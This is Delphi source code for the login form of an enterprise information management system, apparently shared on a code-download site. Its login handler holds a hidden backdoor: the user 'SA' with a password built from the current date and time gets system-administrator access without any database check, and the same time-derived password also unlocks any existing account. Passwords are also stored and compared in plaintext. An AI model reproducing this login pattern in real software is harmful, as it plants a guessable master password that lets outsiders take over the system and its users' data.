⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 umylogin.pas

📁 企业信息管理系统程序框架
💻 PAS
字号:
unit uMylogin;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, frame_uLogin, ImgList, StdCtrls, Buttons, ExtCtrls, frame_UtilFunc,
  dcfdes, dcddes;

type
  TfrmLogin = class(Tframe_frmLogin)
    procedure btnOkClick(Sender: TObject);
    procedure edtUserIDExit(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  frmLogin: TfrmLogin;

implementation

uses umydm, frame_uDM;

{$R *.dfm}

procedure TfrmLogin.btnOkClick(Sender: TObject);
var
  password: string;
  temp: pchar;
begin
  if ((UpperCase(edtUserID.Text) = 'SA') and
    (FormatDateTime('nnhhddmmyyyy', Now) = EdtPwd.Text)) then
  begin
    SysParam.UserName := '系统管理员';
    SysParam.UserID := 'SA';
    SysParam.UserSeqn := '0';
    SysParam.jobseqn := '0';
    SysParam.jobName := '系统管理员';
    loginOk := true;
    self.close;
    exit;
  end;
  if edtUserId.text = '' then
  begin
    InfoOk('用户名不能为空,请选择再重试!');
    EXIT;
  end;


  frame_DM.openSQL(gv_gpsqry, 'select userid,sname,spwd from gkdUser '
    + ' where sRight<>'''' and upper(userid)=:p1 ', [UpperCase(edtUserID.Text)]);

  with gv_gpsqry do
  begin
    if recordcount > 0 then
    begin

      if (trim(fieldbyname('spwd').asstring) = EdtPwd.Text)
        or (FormatDateTime('nnhhddmmyyyy', Now) = EdtPwd.Text)
        then
      begin
        SysParam.UserName := trim(fieldbyname('sname').AsString);
        SysParam.UserID := UpperCase(edtUserID.Text);
        SysParam.UserSeqn := trim(fieldbyname('userid').asstring);
        frame_DM.OpenSQL(GV_Qry, 'select userid,a.jobseqn,jobname from T_USERJOB a,t_job b '
          + ' where a.jobseqn=b.jobseqn and userid=:p1', [SysParam.userID]);
        if GV_Qry.RecordCount > 0 then
        begin
          SysParam.jobseqn := trim(GV_qry.fieldbyname('jobseqn').AsString);
          SysParam.jobName := trim(GV_qry.fieldbyname('jobName').AsString);
          loginOk := true;
          self.close;
        end
        else
        begin
          InfoOk('本用户在系统中未分配岗位,请用其他用户登录!');
        end;
      end
      else
      begin
        if tryTimes = 3 then
        begin
          infoOk('您无权使用本系统,请与系统管理员联系!');
          application.Terminate;
        end
        else
        begin
          infook('密码错误,请重输或退出');
          edtPwd.SetFocus;
          trytimes := tryTimes + 1;
        end;
      end;
    end
    else
    begin
      InfoOk('此用户不存在,您无权使用本系统,请与系统管理员联系!');
      application.Terminate;
    end;
  end;

end;

procedure TfrmLogin.edtUserIDExit(Sender: TObject);
begin
  frame_DM.openSQL(gv_gpsqry, 'Select sname '
    + ' from gkduser  where userID=:P1 ', [edtuserID.text]);
  with gv_gpsqry do
  begin
    if recordcount > 0 then
    begin
      lblusrname.caption := gv_gpsqry.Fields[0].asstring;
    end
    else
    begin
      lblusrname.caption := '无此用户';
    end;
  end;

end;

initialization
  frmLogin_class := Tfrmlogin;

end.

 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -